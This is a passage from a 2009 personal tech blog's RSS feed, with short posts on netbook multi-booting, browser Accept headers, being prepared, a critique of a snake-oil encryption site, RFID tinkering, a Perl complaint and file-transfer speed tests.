&lt;p&gt;And the worst part of this is that &lt;em&gt;nothing works right&lt;/em&gt;.  I can't get Windows 7 to let NetworkStumbler or Wireshark use my wireless connection, I can't get Ubuntu or Backtrack to even &lt;em&gt;see&lt;/em&gt; my wireless connection, they certainly don't enable the touchscreen (although 7 does).  The only operating system that actually works completely is the old one - XP.  I can't move the partitions around.  Frankly, &lt;em&gt;I don't even know where or how Ubuntu installed itself!&lt;/em&gt;  It seriously does not have it's own partition -according to what I can see, I &lt;em&gt;think&lt;/em&gt; it installed itself inside of a disk container sitting on the ntfs filesystem of my XP partition and is coexisting somehow but that is &lt;em&gt;madness&lt;/em&gt;!  And most frustratingly &lt;strong&gt;I can't repave the machine cause I can't get it to boot from an outside source!&lt;/strong&gt;  I may try and use linux to overwrite the partition table and install a bootloader with images of the install dvds sitting in random spots of the hard drive, but that seems very careless and frought with peril.&lt;/p&gt;

&lt;p&gt;On the other hand - I &lt;strong&gt;really really really really want someone to confiscate my netbook and try doing forensics on it&lt;/strong&gt; cause I would laugh for a long time when they image it and start trying to figure out just what the heck is going on!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/DCQCJS0dwvQ" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/DCQCJS0dwvQ/blog-not_sleeping_is_dangerous_for_your_laptop.html</link><feedburner:origLink>http://ritter.vg/blog-not_sleeping_is_dangerous_for_your_laptop.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-break_the_internet_follow_standards.html</guid>
		<title>How to break the internet: Follow Standards</title>
		<pubDate>29 Oct 2009 11:07:23 EST</pubDate>
		<description>&lt;p&gt;This probably isn't news to anyone, but the only reason society functions is because people break the rules.  If everyone followed all the rules, we'd &lt;a href="http://www.kare11.com/news/news_article.aspx?storyid=124420"&gt;always be stuck in traffic&lt;/a&gt;.  Oh and the internet would break.&lt;/p&gt;

&lt;p&gt;I'm not even talking about boring stuff like writing CSS how it's supposed to be written - I'm talking about instead of sending a browser the HTML page, how about sending it what it actually requests.  You know, a &lt;strong&gt;ClickOnce App&lt;/strong&gt;.  You see, there's the concept of an &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html"&gt;Accept Header&lt;/a&gt; that a browser sends, that's supposed to control what the webserver sends you in response.  If you ask for HTML, it sends HTML, if it asks for XML, it sends XML, if you ask for JSON - json.  Seems reasonable right?  It's all &lt;a href="http://en.wikipedia.org/wiki/Representational_State_Transfer"&gt;REST-y&lt;/a&gt; and full of best practices warm fuzzy goodness.  You almost want to cuddle up with it it's so happy-feely.  Except if anyone actually obeyed it everything would break.&lt;/p&gt;

&lt;p&gt;You see, Windows provides a way to hook into the Accept Header that IE sends, and as Raymond Chen is so apt to point out - if you give developers a way to do something, they're gonna abuse it.  So, if you happen to run Internet Explorer (with Office installed), this is what your browser is sending:&lt;/p&gt;

&lt;pre&gt;
  GET /web/index.html HTTP/1.1
  Host: RecessFramework.org
  Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application,
        application/vnd.ms-xpsdocument, application/xaml+xml,
        application/x-ms-xbap, application/x-shockwave-flash,
        application/x-silverlight-2-b2, application/x-silverlight,
        application/vnd.ms-excel, application/vnd.ms-powerpoint,
        application/msword, */*
&lt;/pre&gt;

&lt;p&gt;So you're requesting, in order, a gif, a jpeg, a &lt;acronym title="progressive jpeg"&gt;pjpeg&lt;/acronym&gt;, and then a &lt;strong&gt;ClickOnce App&lt;/strong&gt;.  And then a bunch of other Office apps and shit.&lt;/p&gt;

&lt;p&gt;Now you can imagine just how quickly someone would get fired at Google, CNN, or Yahoo for deciding to actually honor IE's request. Good thing everyone ignores the Accept Header huh? (On the other hand, it's yet another way to identify IE users independent of User Agent...)&lt;/p&gt;

&lt;p&gt;For more details on the header, what different browsers send, and some responses from the IE and Webkit teams, check out Kris Jordan's excellent post &lt;a href="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"&gt;Unacceptable Browser HTTP Accept Headers (Yes, You Safari and Internet Explorer)&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/t3yV2NKrlVg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/t3yV2NKrlVg/blog-break_the_internet_follow_standards.html</link><feedburner:origLink>http://ritter.vg/blog-break_the_internet_follow_standards.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-being_prepared.html</guid>
		<title>being prepared</title>
		<pubDate>14 Oct 2009 11:55:23 EST</pubDate>
		<description>&lt;p&gt;It's rare for me to write an essay, as opposed to code, but this is something I've been thinking about recently.  Someone's been ribbing me recently about "being prepared" - partially because I happen to be an Eagle Scout, but partially because I also happen to always be prepared.  I suppose I do fit the superficial model of being prepared.  I carry a pocketknife on me, I have a change of clothes in my trunk, I keep emergency cash handy, I try not to let my gas tank get too empty, and so on.  But as I've grown older, I've discovered there are three parts to "being prepared".&lt;/p&gt;

&lt;p&gt;First and foremost is &lt;strong&gt;what you have&lt;/strong&gt;.  It's the easiest, it's the most superficial.  If you're going camping and you're not bringing duct tape - you're not prepared.  Same with a first aid kit, cleaning supplies, or a tent.  This is what most people think of when they hear "that guy is prepared".  They hear "that guy has a lot of crap".  And it's handy, don't get me wrong.  It can get you out of jams - once I landed in Madrid, completely alone, and discovered that when they say the Mastercard would "work everywhere" what they meant was "it'll work anywhere it's accepted" - which was nowhere in Spain or France.  Lucky I had a hundred USD to change and get a metro ride into the city where I could get to a bank.  Here's the thing though - &lt;strong&gt;it's not important&lt;/strong&gt;.  At least, not compared to the other ones.  &lt;/p&gt;

&lt;p&gt;The next part of being prepared is &lt;strong&gt;what you know&lt;/strong&gt;.  If you've got a snakebite kit and no idea how to use it, but you saw on TV that some guy made hash marks with a knife and sucked out the venom - congrats you're a detriment to your friend's life.  You need to know &lt;strong&gt;what to do and how to do it&lt;/strong&gt; when you find yourself in an emergency.  Whether it's first aid because someone just cut their artery on a kitchen knife, or you're getting mugged in a foreign city.  Here's an example of not knowing what to do.  My car broke down - the engine overheated.  A guy stops, and drops off two gallons of water - then he takes off.  I have a gallon of coolant in my trunk (that's right, I had everything I needed).  And what did I do?  I fake-remembered that water cools better than coolant, so I dumped the water in the radiator, and started driving.  I didn't get too far - I just boiled off all the water.  Coolant has a higher boiling point than water.  That's why you mix them.  &lt;em&gt;I had everything I needed to accomplish my goal, but I failed because I didn't know what to do&lt;/em&gt;.  &lt;/p&gt;

&lt;p&gt;The last part of being prepared is the most subtle.  You have to &lt;strong&gt;keep yourself together under pressure&lt;/strong&gt;.  This is often what people consider manliness to be - keeping a rational head in the midst of a crisis and delaying your emotional reaction so others can rely on you.  If you have a T-Shirt and you know to apply pressure and keep the wound elevated, but you can't hold it together at the sight of a lot of blood - you're not helping anyone.  Or closer to home - your car just broke down.  In 5mph bumper-to-bumper traffic, no shoulder, as a lane is merging in from the right, in a tunnel.  &lt;em&gt;What do you do?&lt;/em&gt;  I've been there.  And I'm not going to say I handled myself flawlessly.  I snapped at my friend that I was doing the best I damn well could.  But I survived, and it could have been a whole lot worse if I didn't hold myself together as well as I did. &lt;/p&gt;

&lt;p&gt;So here's the thing guys (and gals).  Being prepared is an admiral quality and don't let anyone tell you differently.  But it's more than how much crap you have in your pockets.  So start easy - take the baby steps.  Put a first aid kit in your car, an extra twenty behind your mom's photo, and a roll of duct tape in your camping supplies.  Now, go take a CPR class, ask your EMT friend how to treat a half-severed finger or a cut vein or artery.  Then practice it, remember it, and refresh your memory until it's more than memory - it's a reaction.  They don't call it muscle memory for nothing.  Finally, here's the hardest thing to do: &lt;strong&gt;push your comfort zone&lt;/strong&gt;.  Do things that make you nervous; whether it's ordering at that fast-paced no-nonsense deli or navigating a new city by yourself.  &lt;strong&gt;Build up your confidence&lt;/strong&gt;.  Then when you get into a jam - just stop, breathe, and remember, you've handled lots of other difficult things and you can handle this.  That way the next time your car breaks down - you won't.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/4PslqyjFhHI" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/4PslqyjFhHI/blog-being_prepared.html</link><feedburner:origLink>http://ritter.vg/blog-being_prepared.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-javascript_hackery.html</guid>
		<title>super cool javascript hackery</title>
		<pubDate>11 Oct 2009 11:08:23 EST</pubDate>
		<description>&lt;p&gt;This is a post I've had in the works for months now.  It's about modifying javascript functions on the fly.  I know, that's old hat, you can replace the function to do whatever.  That's not what I'm talking about.  I'm talking about &lt;strong&gt;modifying the function in place to do something slightly different... using string manipulation&lt;/strong&gt;.  I know, horrible idea, ridiculous maintenance, tons of regressions.  I'm not advocating it's use - I'm saying it's damn cool.  And what's more, javascript is the &lt;em&gt;only language&lt;/em&gt; you can do it in (that I've heard of or seen).  &lt;a class="themainlink" href="code_adventures_funjavascript.html"&gt;So check it out, and decry my abuse of the language&lt;/a&gt; and see how I show you that you &lt;em&gt;can't&lt;/em&gt; do it in Lisp.  Really.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/26lm25WROpE" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/26lm25WROpE/blog-javascript_hackery.html</link><feedburner:origLink>http://ritter.vg/blog-javascript_hackery.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-server_config_published.html</guid>
		<title>server configuration published</title>
		<pubDate>16 Sep 2009 9:21:23 EST</pubDate>
		<description>&lt;p&gt;I run a gentoo server as my router.  It acts as a firewall, router, DNS and DHCP server, a media server, backup, and does some other useful stuff, like segmenting random strangers using my wireless from my computers - helps prevent worms. Something I've been working on for a little bit is getting all my the scripts I use to run it published.  I've finally finished.  So at &lt;a href="http://ritter.vg/server/index.rb" class="themainlink"&gt;this link&lt;/a&gt; you can find an explanation of how things work, all the scripts, and some of the more complicated config files.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/lg8HOJD9i4o" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/lg8HOJD9i4o/blog-server_config_published.html</link><feedburner:origLink>http://ritter.vg/blog-server_config_published.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-crypo_biz_followup.html</guid>
		<title>crypo.biz followup</title>
		<pubDate>15 Aug 2009 14:20:23 EST</pubDate>
		<description>&lt;p&gt;After I posted my &lt;a href="code_adventures_badcrypto2.html"&gt;last article about crypo.biz and their "military-grade encryption algorithm"&lt;/a&gt; I got an e-mail from the author of the site and code.  I called him out on his code, and he called me out - sending me a giant encrypted message and challenging me to break it.  Fair's fair, &lt;a href="code_adventures_badcrypto2_followup.html" class="themainlink"&gt;now I have to put my money where my mouth is&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/d-EctE9vJnk" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/d-EctE9vJnk/blog-crypo_biz_followup.html</link><feedburner:origLink>http://ritter.vg/blog-crypo_biz_followup.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-people_who_shouldnt_do_crypto_part_2.html</guid>
		<title>people who shouldn't do crypto, doing crypto PART 2!</title>
		<pubDate>08 Aug 2009 00:12:23 EST</pubDate>
		<description>&lt;p&gt;I didn't really think this would turn into a series, but part 2 has arrived!  &lt;a href="http://crypo.biz/"&gt;crypo.biz&lt;/a&gt; is a site boasting &lt;strong&gt;Military Grade 1280-bit Encryption Algorithm&lt;/strong&gt;.  Now that your bullshit detector has gone off, you can read about their &lt;a class="themainlink" href="code_adventures_badcrypto2.html"&gt;shoddy algorithm and see the reverse-engineered code&lt;/a&gt;.  I wanted to build a cracker for it, but I spent a while getting back into C, and decided I shouldn't spend much more time on this project, so I &lt;a href="http://www.reddit.com/r/crypto/comments/98npq/military_grade_1280bit_encryption_algorithm/"&gt;submitted it to reddit&lt;/a&gt; for others to look at.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/DFsblCpIb5w" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/DFsblCpIb5w/blog-people_who_shouldnt_do_crypto_part_2.html</link><feedburner:origLink>http://ritter.vg/blog-people_who_shouldnt_do_crypto_part_2.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-travel_page_up.html</guid>
		<title>finally put up a travel page</title>
		<pubDate>15 Jun 2009 00:02:23 EST</pubDate>
		<description>&lt;p&gt;So there's a million things I could have done and I didn't really do any of them - but I finally put up the &lt;a class="themainlink" href="travel.html"&gt;travel page&lt;/a&gt; with some actual content.  It's just a google map with some trip lines drawn and cities pinned.  No info-windows, no stories, nothing too revolutionary.  If you want to here the gory, sexy, gritty details - buy me a drink.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/e6nJ2SNqFNM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/e6nJ2SNqFNM/blog-travel_page_up.html</link><feedburner:origLink>http://ritter.vg/blog-travel_page_up.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-people_who_shouldnt_do_crypto_part_1.html</guid>
		<title>people who shouldn't do crypto, doing crypto</title>
		<pubDate>16 May 2009 22:12:15 EST</pubDate>
		<description>&lt;p&gt;Does this disqualify me from &lt;a href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/"&gt;no more free bugs&lt;/a&gt;?  I found a pretty horrific security vulnerability in a website not to be named, and reported it.  It was silly-easy to exploit, there was no particular cleverness on my end.  I've put up &lt;a class="themainlink" href="code_adventures_badcrypto1.html"&gt;a new code adventure about it&lt;/a&gt;.  Suffice to say I could have done an awful lot of incredibly dangerous (and lucrative!) theft, and if I did it wrong I would have gone to jail for a longish time.  When I found it, and successfully exploited it, I sat back, and remembered something Richard Feynman said in one of his books.&lt;/p&gt;

&lt;blockquote&gt;I went on and checked some things, which fit, and new things fit, new things fit, and I was very excited.  It was the first time, and the only time, in my career that I knew a law of nature that nobody else knew.  The other things I had done before were to take somebody else's theory and improve the method of calculating&lt;/blockquote&gt;

&lt;p&gt;So this was the first time (so far) that I knew some incredible zero-day that no one else knew.  And I rushed out to explain it to my roommate and I was excited.  So read about it, and then you'll think we'll that's &lt;em&gt;obvious&lt;/em&gt; and of course it is.  But out of the thousands and thousands who could have found it and exploited it - I did it.  &lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/H-MvrwZunuw" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/H-MvrwZunuw/blog-people_who_shouldnt_do_crypto_part_1.html</link><feedburner:origLink>http://ritter.vg/blog-people_who_shouldnt_do_crypto_part_1.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-reading_list.html</guid>
		<title>reading list</title>
		<pubDate>11 May 2009 22:12:00 EST</pubDate>
		<description>&lt;p&gt;this must be house-cleaning time, because in addition to my bucketlist, I've also published my &lt;a class="themainlink" href="readinglist.html"&gt;RSS reading list&lt;/a&gt; in OPML format.  It easy enough to read that you can skim it or if you're super-hardcore you can import the whole thing and weed out the lists you don't like!&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/ema0PU3J0Sg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/ema0PU3J0Sg/blog-reading_list.html</link><feedburner:origLink>http://ritter.vg/blog-reading_list.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-bucket_list.html</guid>
		<title>the bucket list</title>
		<pubDate>7 May 2009 21:01:00 EST</pubDate>
		<description>&lt;p&gt;I've finally gotten around to publishing a list I wrote up for &lt;a href="http://boldlygosolo.typepad.com/"&gt;Boldly Go Solo&lt;/a&gt; after they published an &lt;a href="http://boldlygosolo.typepad.com/boldly_go_solo/2009/04/highadrenaline-adventures-for-daring-solo-travelers.html"&gt;off-the-cuff&lt;/a&gt; list of extreme items.  I suspect it will be published there soon, but I wanted to clear out my queue and put something new on the blog.  So without further adieu, check out my list of &lt;a href="thelist.html" class="themainlink"&gt;over a hundred extreme sports, events, destinations, and things to do before you die&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/Koj8vwKBNB8" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/Koj8vwKBNB8/blog-bucket_list.html</link><feedburner:origLink>http://ritter.vg/blog-bucket_list.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-hacking_net_clr_part_1.html</guid>
		<title>hacking .net's clr</title>
		<pubDate>26 Apr 2009 13:08:00 EST</pubDate>
		<description>&lt;p&gt;After &lt;a href="http://www.devscovery.com/"&gt;Devscovery&lt;/a&gt; I've been trying to decipher the magic behind .Net lately, reading the beginning chapters of CLR via C# and playing around.  Well I'm not quite sure what prompted me to do this, but I ended up looking into the binary of the assemblies produced by a simple Hello World program.  I diffed the assemblies between two runs on the same machine, between two runs on different machines, and between Debug and Release mode.  Most of it wasn't too surprising, I think the biggest surprise was in just how much I was able to figure out.  If I knew PE Headers as well as some people I'd have deciphered even more.  If you have a demented mind as mine, you can read the article and enjoy the hex: &lt;a class="themainlink" href="code_adventures_clr1.html"&gt;hacking the clr: diffing assemblies&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/Obn7z5s96Dg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/Obn7z5s96Dg/blog-hacking_net_clr_part_1.html</link><feedburner:origLink>http://ritter.vg/blog-hacking_net_clr_part_1.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-rss_feed.html</guid>
		<title>rss feed!</title>
		<pubDate>19 Apr 2009 14:29:00 EST</pubDate>
		<description>&lt;p&gt;I am no longer a hyprocrite.  I implemented an RSS feed for the site.  It was a little tricky, considering I don't use a database or anything of the sort, but it works (I think).  I outlined how I did it in an update of my &lt;a class="themainlink" href="code_adventures_site.html#rev4"&gt;code adventures - making the site&lt;/a&gt; post.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/HVXKZzz4AM0" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/HVXKZzz4AM0/blog-rss_feed.html</link><feedburner:origLink>http://ritter.vg/blog-rss_feed.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-authentication_poc.html</guid>
		<title>authentication poc</title>
		<pubDate>07 Apr 2009 16:29:00 EST</pubDate>
		<description>&lt;p&gt;I added a new &lt;a class="themainlink" href="code_poc.html"&gt;Proof of Concept&lt;/a&gt; - this one on an authentication idea I had for lost passwords.  Secret Questions suck, picking your own secret question sucks.  Filling out a form of 100 items really sucks.  Picking a few questions to answer out of 100 questions sucks because you have to read them all.  But if we organize the questions in a way that they're very easy to "skim" we can present the user or attacker with 100 choices of questions to answer.&lt;/p&gt;  

&lt;p&gt;I also changed around some styles to try and make the site more readable.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/NOnGr59a9Rs" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/NOnGr59a9Rs/blog-authentication_poc.html</link><feedburner:origLink>http://ritter.vg/blog-authentication_poc.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-rfid_reader.html</guid>
		<title>rfid reader</title>
		<pubDate>04 Apr 2009 16:17:00 EST</pubDate>
		<description>&lt;p&gt;This is what I really worked on two weeks ago.  I wired up an RFID Reader to a bowl of candy and had the router freak out whenever someone took a piece.  Read about it in Code Adventures: &lt;a href="code_adventures_rfid.html" class="themainlink"&gt;RFID Experimentation&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/pHyOoLJ6MeU" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/pHyOoLJ6MeU/blog-rfid_reader.html</link><feedburner:origLink>http://ritter.vg/blog-rfid_reader.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-small_site_tweaks.html</guid>
		<title>code update</title>
		<pubDate>22 Mar 2009 12:42 EST</pubDate>
		<description>&lt;p&gt;I updated the site just a tad.  Some CSS tweaks on the menu (it will now stay fixed as you scroll) and a javascript tweak I detailed in the appropriate &lt;a class="themainlink" href="code_adventures_site.html"&gt;adventure&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/jAopWPKhHYM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/jAopWPKhHYM/blog-small_site_tweaks.html</link><feedburner:origLink>http://ritter.vg/blog-small_site_tweaks.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-man_up.html</guid>
		<title>man up</title>
		<pubDate>18 Mar 2009 17:50 EST</pubDate>
		<description>&lt;p&gt;I generally confine my linking to pages without mentioning it here (you do see the updated dates on the right, right?) but this link didn't fall into a ready category but was worth linking to.  &lt;a href="http://artofmanliness.com/"&gt;The Art of Manliness&lt;/a&gt; is a blog about what it sounds like, and one of their recent articles was rather poignant: &lt;a href="http://artofmanliness.com/2009/03/16/the-hard-way/"&gt;The Hard Way&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It's about your grandparents.  In a manner of speaking.  My grandfather worked hard, damn hard and had a lot to show for it.  He didn't take shortcuts.  He didn't read any "For Dummies" books.  He sure as hell didn't try some "super-easy diet plan".  He worked.  Hard.  I'm going to be a complete tool and steal all the article's bolded lines.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our lives have come to resemble those of tourists, wanting the experience, but not wanting to stay long enough to risk experiencing the realities that come with permanence and commitment.&lt;/li&gt;
&lt;li&gt;With each new fresh-faced superstar, the idea of success as a secret formula to be unlocked rather than something to be worked for is slowly cemented into our brains.&lt;/li&gt;
&lt;li&gt;We cut corners and call it 'optimizing'.  We take the path of least resistance and dress up our cowardice in the guise of efficiency.  And in doing so, we're killing ourselves, one life-hack at a time.&lt;/li&gt;
&lt;li&gt;doing things that are hard molds boys into men of strength and character.&lt;/li&gt;
&lt;li&gt;But, what makes the hard way so important for men is not just the end result, but the character built along the way.&lt;/li&gt;
&lt;li&gt;Men who finish a marathon rather than simply starting a million sprints.&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/V8W55IBpevw" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/V8W55IBpevw/blog-man_up.html</link><feedburner:origLink>http://ritter.vg/blog-man_up.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-webhooks_i_was_doing_it_all_along.html</guid>
		<title>right... I was doing that all along!</title>
		<pubDate>11 Feb 2009 13:34 EST</pubDate>
		<description>&lt;p&gt;If you've seen my &lt;a href="code_adventures_backup.html"&gt;Bastardizing a Backup&lt;/a&gt; Adventure in Code, I should note that there's this really cool thing called &lt;a href="http://timothyfitz.wordpress.com/2009/02/09/what-webhooks-are-and-why-you-should-care/"&gt;webhooks&lt;/a&gt; that work like that.  And they're actually pretty useful, and awesome, and I &lt;em&gt;totally&lt;/em&gt; was following that model when I came up with my crazy ass idea.  Yea.  Totally&lt;/p&gt;

&lt;p&gt;Seriously though, it's always enjoyable when you discover that some idea you came up with independently is an actual useful item.  It's usually fleshed out a little bit better, and you rarely have the idea first, but it's cool.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/0yAXJ8EuhHo" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/0yAXJ8EuhHo/blog-webhooks_i_was_doing_it_all_along.html</link><feedburner:origLink>http://ritter.vg/blog-webhooks_i_was_doing_it_all_along.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-why_i_hate_perl.html</guid>
		<title>why I hate perl</title>
		<pubDate>18 Jan 2009 12:36 EST</pubDate>
		<description>&lt;p&gt;Just so you know guys, this is why everyone who does know how to program well in some other language hate perl.&lt;/p&gt;

&lt;pre&gt;if(false){
print "Seriously.  What the fuck.";
}&lt;/pre&gt;

&lt;p&gt;I bet there's some semi-logical reason, once you know gobs of perl, why this would possibly make sense.  But for &lt;strong&gt;everyone else&lt;/strong&gt; it cannot make any sense at all. And there are dozens of similar little things that prevent you from writing more than 5 lines at a time without testing them to make sure they do exactly what you think they should do.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/KcdXqFLVmI0" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/KcdXqFLVmI0/blog-why_i_hate_perl.html</link><feedburner:origLink>http://ritter.vg/blog-why_i_hate_perl.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-project_upstreamed.html</guid>
		<title>i got project upstream-ed</title>
		<pubDate>06 Jan 2009 12:17 EST</pubDate>
		<description>&lt;p&gt;&lt;a href="http://project-upstream.awardspace.com/"&gt;Project Upstream&lt;/a&gt; is a social network experiment that randomly connects two people via an AIM connection.  &lt;a href="http://innerworkingsofaspacecase.blogspot.com/2008/07/project-upstream.html"&gt;Here's a better description&lt;/a&gt;.  Suffice to say I tweeted at work, and got Project Upstream-ed.  I googled the screenname immediately to figure out what was going on, found a list, and then read about the project.&lt;/p&gt;
&lt;blockquote&gt;
Session Start (MyScreenname:accusatorycoho): Tue Jan 06 11:58:26 2009&lt;br /&gt;
[11:58] accusatorycoho: I hope your day is wonderfully amazing, just like you!&lt;br /&gt;
[12:01] accusatorycoho: eh?&lt;br /&gt;
[12:01] MyScreenname: yea - happened to me too.  it's a social networking experiment.  i didn't actually send you the IM&lt;br /&gt;
[12:02] MyScreenname: look here: http://innerworkingsofaspacecase.blogspot.com/2008/07/project-upstream.html&lt;br /&gt;
[12:02] MyScreenname: and i'm not sure what screenname you see; but it isn't mine.  (neither of us has any idea who the other is)&lt;br /&gt;
[12:02] accusatorycoho: okay, and?&lt;br /&gt;
[12:03] MyScreenname: and nothing.  they expect us to chat or something.  i dunnoe.  &lt;br /&gt;
[12:03] accusatorycoho: oh, weird.&lt;br /&gt;
[12:04] MyScreenname: it's an interesting concept; but i'm at work so i can't really chat. &lt;br /&gt;
[12:04] MyScreenname: have a nice day though&lt;br /&gt;
[12:04] accusatorycoho: you as well.&lt;br /&gt;
[12:04] accusatorycoho: later&lt;/blockquote&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/Sf9mnUhpQmY" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/Sf9mnUhpQmY/blog-project_upstreamed.html</link><feedburner:origLink>http://ritter.vg/blog-project_upstreamed.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-man_in_the_middle_in_the_wild.html</guid>
		<title>man in the middle attack</title>
		<pubDate>2 Jan 2009 23:17 EST</pubDate>
		<description>&lt;p&gt;Two updates in one day?!  Crazy!  Anyway, I thought this was too interesting not to post.  &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=460374"&gt;Here's a man-in-the-middle attack&lt;/a&gt; out in the wild.  The person actually thought it was a Firefox bug, because of all the invalid SSL certificates they got.  After some investigating - yup, she was getting haxxed.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/C2XY56CfJXg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/C2XY56CfJXg/blog-man_in_the_middle_in_the_wild.html</link><feedburner:origLink>http://ritter.vg/blog-man_in_the_middle_in_the_wild.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-fastest_data_transfer_protocol.html</guid>
		<title>fastest data transfer protocol</title>
		<pubDate>2 Jan 2009 13:48 EST</pubDate>
		<description>&lt;p&gt;In case you were wondering, I started comparing the transfer speeds of different protocols.  I stopped after three.  The data was being transfered onto a RAID-6.  Results:&lt;/p&gt;
&lt;table style="margin-left:auto;margin-right:auto;" border="1"&gt;
  &lt;tr&gt;
    &lt;th&gt;Method&lt;/th&gt;
    &lt;th&gt;Bytes&lt;/th&gt;
    &lt;th&gt;Time&lt;/th&gt;
    &lt;th&gt;Speed&lt;/th&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;smb mount then cp&lt;/td&gt;
    &lt;td&gt;733960192&lt;/td&gt;
    &lt;td&gt;425&lt;/td&gt;
    &lt;td&gt;1.647 MB/s&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;scp&lt;/td&gt;
    &lt;td&gt;730253312&lt;/td&gt;
    &lt;td&gt;69.48*&lt;/td&gt;
    &lt;td&gt;10.0241 MB/s&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;wget using http&lt;/td&gt;
    &lt;td&gt;736274432&lt;/td&gt;
    &lt;td&gt;63.2&lt;/td&gt;
    &lt;td&gt;11.1097 MB/s&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;There's two items to note here:
  &lt;ol&gt;
